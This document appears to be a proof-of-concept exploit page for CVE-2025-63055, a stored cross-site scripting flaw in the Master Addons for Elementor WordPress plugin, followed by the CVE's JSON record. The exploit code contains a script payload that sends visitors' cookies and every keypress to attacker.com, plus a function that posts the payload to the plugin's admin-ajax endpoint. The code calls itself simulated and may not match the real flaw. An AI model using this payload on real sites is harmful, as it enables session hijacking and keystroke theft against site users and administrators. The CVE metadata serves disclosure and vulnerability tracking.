CVE-2025-63055

// CVE-2025-63055 PoC - Stored XSS in Master Addons for Elementor // This PoC demonstrates how an attacker can inject malicious JavaScript // through the affected plugin's input fields // Simulated attack payload that could be injected into plugin fields const xssPayload = ` <script> // Cookie stealing payload document.write('<img src="https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"/>'); // Session hijacking example console.log('Stolen cookies:', document.cookie); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key=' + e.key); }); </script> `; // Example: Injecting via AJAX request (simulated) function exploitCVE202563055() { const targetUrl = window.location.origin + '/wp-admin/admin-ajax.php'; const maliciousData = { action: 'master_addons_save_widget', widget_id: 'text-editor', content: xssPayload, // Malicious XSS payload nonce: 'attacker_obtained_nonce' // Requires valid nonce }; // This would send the payload to be stored fetch(targetUrl, { method: 'POST', body: JSON.stringify(maliciousData), headers: {'Content-Type': 'application/json'} }); } // Display payload for educational purposes console.log('CVE-2025-63055 PoC Payload:', xssPayload); console.log('This payload demonstrates a stored XSS attack that could:', '\n1. Steal user session cookies', '\n2. Log keystrokes', '\n3. Modify page content', '\n4. Redirect users to malicious sites');

{"cve": {"id": "CVE-2025-63055", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:10.830", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Liton Arefin Master Addons for Elementor master-addons allows Stored XSS.This issue affects Master Addons for Elementor: from n/a through <= 2.0.9.9.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/master-addons/vulnerability/wordpress-master-addons-for-elementor-plugin-2-0-9-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}